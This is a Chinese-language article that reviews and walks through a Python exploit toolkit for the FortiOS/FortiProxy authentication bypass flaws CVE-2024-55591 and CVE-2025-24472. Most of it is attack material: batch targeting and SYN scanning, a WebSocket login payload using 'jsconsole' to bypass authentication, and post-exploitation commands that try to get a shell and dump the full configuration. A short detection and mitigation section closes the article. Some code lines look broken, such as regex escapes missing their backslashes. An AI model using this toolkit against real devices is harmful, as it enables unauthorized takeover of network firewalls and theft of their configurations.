FortiGate双漏洞利用工具深度测评:CVE-2024-55591与CVE-2025-24472实战指南
FortiGate 身份验证绕过漏洞利用工具包
今天我们来深入探讨一个针对Fortinet FortiOS和FortiProxy设备关键身份验证绕过漏洞(CVE-2024-55591、CVE-2025-24472)的综合性Python利用工具包。这个工具包的设计思路相当完整,从自动化部署到深度利用,覆盖了渗透测试的多个环节。
功能特性
这个工具包之所以称得上“综合性”,是因为它集成了从前期侦察到后期利用的完整链条。具体来说,它具备以下几个核心能力:
- 自动化依赖管理:启动时自动检测并安装
requests、urllib3等必需的Python库,省去了手动配置的麻烦。 - 智能端口发现:直接集成了Nmap的SYN扫描功能,能够自动发现目标设备的开放端口,为后续利用找准入口。
- 双协议利用:同时支持HTTP和HTTPS两种模式的WebSocket连接尝试,适应性更强。
- 多目标批量处理:支持从文本文件读取多个目标IP或域名,实现大规模自动化检测与利用,效率提升明显。
- 并行利用策略:可以并行测试多个端口和多个预设的用户名字典,大大缩短了测试时间。
- 版本漏洞检测:工具能自动解析目标设备的版本信息,并与已知的受影响版本范围进行比对,避免做无用功。
- 后渗透命令集:一旦利用成功,工具会自动执行一系列扩展命令,包括系统诊断、崩溃日志读取等,为深入分析提供数据。
- 灵活的利用配置:支持用户自定义初始命令、用户名字典以及后渗透行为,灵活性很高。
- 详细的响应输出:提供可选的原始WebSocket通信显示功能,便于调试和日志记录,对于分析利用过程非常有帮助。
安装指南
系统要求
要运行这个工具,你的环境需要满足以下基本条件:
- Python 3.x:这是脚本运行的基础。
- Nmap:用于端口扫描功能。虽然不是绝对必需,但强烈推荐安装,否则端口发现功能将无法使用。
- 网络访问权限:自然,你需要能够访问到目标测试设备。
依赖项
脚本的核心功能依赖于两个Python库,好消息是脚本会自动处理它们的安装:
requests- 用于处理HTTP请求。urllib3- 用于管理安全的HTTP连接。
安装步骤
部署过程非常简单,几乎是开箱即用:
# 克隆仓库
git clone
cd fortinet-cve-2024-55591# 确保 Nmap 已安装(可选)
sudo apt-get install nmap # Debian/Ubuntu
# 或
brew install nmap # macOS# 直接运行脚本(将自动检查并安装 Python 依赖)
python3 exploit.py
使用说明
工具提供了两种主要的使用模式,以适应不同的测试场景。
单目标利用模式
对于单个目标的测试,可以使用交互式向导模式,它会一步步引导你完成配置:
python3 exploit.py
# 根据提示输入目标 IP/域名,选择是否进行端口扫描,配置利用参数
多目标批量模式
当需要对大量设备进行审计时,批量模式是更高效的选择:
python3 attack.py --targets targets.txt --user ScaryByte --command "get system status" --post-exploit
这里对几个关键参数做个说明:
| 参数 | 说明 | 默认值 |
|---|---|---|
--targets |
目标列表文件路径(每行一个IP/域名) | 必需 |
--user |
用于登录上下文的假用户名 | ScaryByte |
--command |
利用成功后执行的初始命令 | get system status |
--post-exploit |
启用后渗透命令集 | 未设置 |
典型利用场景
了解了基本用法,我们来看看几个具体的应用场景,这能帮助你更好地理解工具的威力。
场景一:单目标快速检测
假设你只有一个明确的目标,想快速验证其是否存在漏洞:
python3 exploit.py
# 选择不进行端口扫描,直接输入目标端口(443),尝试 HTTPS 利用
这种方式最直接,适合对已知管理端口的设备进行快速检查。
场景二:批量内网审计
在企业内网安全评估中,你可能需要扫描一个网段:
# 创建目标文件
echo "192.168.1.1" > targets.txt
echo "192.168.1.2" >> targets.txt# 批量利用并收集系统状态
python3 attack.py --targets targets.txt --command "show system status" --post-exploit
工具会依次对列表中的目标进行测试,并收集系统状态信息,非常适合资产梳理和风险排查。
场景三:渗透测试深度利用
在获得初步权限后,你可能需要进行更深度的信息收集和权限维持:
# 使用自定义用户名和命令集
python3 exploit.py
# 启用详细输出模式,捕获原始 WebSocket 通信用于分析
通过启用详细输出,你可以看到完整的通信过程,这对于理解漏洞原理、编写检测规则或进行更复杂的利用链开发至关重要。
受影响版本
漏洞的影响范围是评估风险的第一步。以下是经过确认的受影响版本:
| 产品 | 受影响版本 | 修复版本 |
|---|---|---|
| FortiOS | 7.0.0 - 7.0.16 | 7.0.17+ |
| FortiProxy | 7.0.0 - 7.0.19 | 7.0.20+ |
| FortiProxy | 7.2.0 - 7.2.12 | 7.2.13+ |
核心代码
工具的强大功能背后,是几个设计精巧的核心模块。理解这些代码,有助于你更灵活地使用或定制这个工具。
WebSocket 利用核心模块
这是整个工具的灵魂,负责建立连接并发送恶意载荷:
def attempt_websocket_exploit(target_ip, port, use_ssl, username):
"""
尝试通过 WebSocket 进行身份验证绕过
参数:
target_ip: 目标 IP 地址
port: 目标端口
use_ssl: 是否使用 SSL/TLS
username: 用于伪造的用户名
返回:
bool: 利用是否成功
"""
protocol = "wss" if use_ssl else "ws"
ws_url = f"{protocol}://{target_ip}:{port}/ws"
# 构建恶意 WebSocket 消息
exploit_payload = {
"type": "login",
"username": username,
"password": "dummy",
"node": "jsconsole"
}
try:
# 建立 WebSocket 连接
ws = create_websocket_connection(ws_url)
# 发送利用载荷
ws.send(json.dumps(exploit_payload))
# 接收响应并检查是否绕过认证
response = ws.recv()
if "success" in response.lower() or "cli" in response.lower():
# 认证成功,获得 CLI 访问权限
execute_cli_command(ws, "get system status")
return True
except Exception as e:
log_error(f"WebSocket 利用失败: {e}")
return False
关键点在于构造的exploit_payload,其中"node": "jsconsole"是触发漏洞的特定参数。
版本漏洞检测模块
在发起攻击前先判断版本,可以避免不必要的尝试和日志记录:
def check_vulnerable_version(version_string):
"""
检查设备版本是否在受影响范围内
参数:
version_string: 从设备获取的版本字符串
返回:
bool: 是否为易受攻击版本
"""
# 受影响版本范围
vulnerable_ranges = [
{"product": "FortiOS", "min": "7.0.0", "max": "7.0.16"},
{"product": "FortiProxy", "min": "7.0.0", "max": "7.0.19"},
{"product": "FortiProxy", "min": "7.2.0", "max": "7.2.12"}
]
# 解析版本号
version_match = re.search(r'v(d+.d+.d+)', version_string)
if not version_match:
return False
current_version = version_match.group(1)
# 比对版本范围
for range_info in vulnerable_ranges:
if is_version_in_range(current_version, range_info["min"], range_info["max"]):
log_success(f"发现易受攻击版本: {current_version} ({range_info['product']})")
return True
log_info(f"版本 {current_version} 不在已知受影响范围内")
return False
Nmap 扫描集成模块
端口发现是自动化测试的第一步,这个模块封装了Nmap的调用:
def run_nmap_scan(target, port_range="-p-"):
"""
使用 Nmap 执行端口扫描
参数:
target: 目标 IP 或域名
port_range: 端口范围(默认所有端口)
返回:
list: 开放端口列表
"""
# 检查 Nmap 是否可用
if not shutil.which("nmap"):
log_error("Nmap 未安装或不在 PATH 中")
return []
# 执行 SYN 扫描
cmd = ["nmap", "-sS", "--min-rate", "500", port_range, target]
try:
result = subprocess.run(cmd, capture_output=True, text=True, timeout=300)
# 解析输出提取开放端口
open_ports = []
for line in result.stdout.split('n'):
if "/tcp" in line and "open" in line:
port = int(line.split('/')[0])
open_ports.append(port)
log_success(f"发现 {len(open_ports)} 个开放端口: {open_ports}")
return open_ports
except subprocess.TimeoutExpired:
log_error("Nmap 扫描超时")
return []
except Exception as e:
log_error(f"Nmap 执行失败: {e}")
return []
这里使用了-sS(SYN扫描)和--min-rate 500参数,在保证一定速度的同时兼顾了隐蔽性。
后渗透命令执行模块
获得访问权限后,工具可以自动执行一系列命令来收集信息:
def execute_post_exploit_commands(websocket_session):
"""
利用成功后执行后渗透命令集
参数:
websocket_session: 活动的 WebSocket 会话
"""
# 后渗透命令列表
post_commands = [
"get system status", # 获取系统状态
"diag sys top", # 系统进程诊断
"diag debug crashlog read", # 读取崩溃日志
"show full-configuration", # 显示完整配置(部分系统)
"execute shell", # 尝试获取 Shell
"diag sys session list", # 显示活动会话
"get system performance status" # 性能状态
]
for cmd in post_commands:
log_info(f"执行命令: {cmd}")
try:
# 发送命令到设备
websocket_session.send(cmd)
# 接收响应
response = websocket_session.recv()
# 记录响应(截断过长输出)
if len(response) > 500:
log_data(f"响应 (截断): {response[:500]}...")
else:
log_data(f"响应: {response}")
except Exception as e:
log_error(f"命令执行失败 '{cmd}': {e}")
# 短暂延迟避免过度负载
time.sleep(1)
命令集的设计很有层次,从基础状态收集到尝试获取Shell,逐步深入。time.sleep(1)的加入避免了因命令发送过快导致会话中断。
依赖安装自动化模块
为了让工具更容易部署,作者还贴心地加入了依赖自动检查功能:
def ensure_dependencies():
"""
自动检查并安装必需的 Python 依赖
"""
required_packages = ['requests', 'urllib3']
missing_packages = []
# 检查依赖是否已安装
for package in required_packages:
if importlib.util.find_spec(package) is None:
missing_packages.append(package)
# 自动安装缺失的依赖
if missing_packages:
log_warning(f"缺少依赖: {', '.join(missing_packages)}")
log_info("尝试自动安装依赖...")
for package in missing_packages:
try:
subprocess.check_call([sys.executable, "-m", "pip", "install", package])
log_success(f"已安装: {package}")
except subprocess.CalledProcessError:
log_error(f"无法安装 {package},请手动运行: pip install {package}")
return False
# 重新导入模块
for package in missing_packages:
globals()[package] = importlib.import_module(package)
log_success("所有依赖已就绪")
return True
这个设计大大降低了使用门槛,即使是不熟悉Python环境的人也能快速上手。
检测与缓解
了解攻击手段是为了更好地防御。对于安全运维人员来说,掌握如何检测和缓解此类攻击同样重要。
入侵指标(IoCs)
如果你的网络中部署了FortiGate或FortiProxy设备,可以关注以下异常日志,它们可能是遭受此类攻击的迹象:
- 登录日志中间出现
jsconsole(127.0.0.1)记录。这是漏洞利用的一个特征。 - 异常的管理员账户创建记录,尤其是使用了随机或可疑的用户名。
- WebSocket 端口(通常是TCP 443或自定义的管理端口)出现异常的流量模式。
缓解措施
一旦确认设备存在风险,应立即采取以下措施:
- 立即升级:这是最根本的解决方案。将 FortiOS 升级至 7.0.17 或更高版本,将 FortiProxy 升级至 7.0.20+ 或 7.2.13+ 版本。
- 禁用管理接口:如果业务上允许,考虑禁用HTTP/HTTPS管理界面,仅通过CLI或专用管理接口进行管理。
- 访问控制:通过配置local-in策略,严格限制管理接口仅对可信的管理IP地址开放。
- 禁用安全结构:如果未使用Security Fabric功能,建议在配置中将其禁用,这可以关闭部分可能被利用的攻击面。
免责声明:本工具仅用于授权安全测试和教育研究目的。未经授权的使用属于违法行为。使用者必须遵守所有适用法律,并在获得明确许可的环境中进行测试。开发者不对任何滥用行为承担责任。
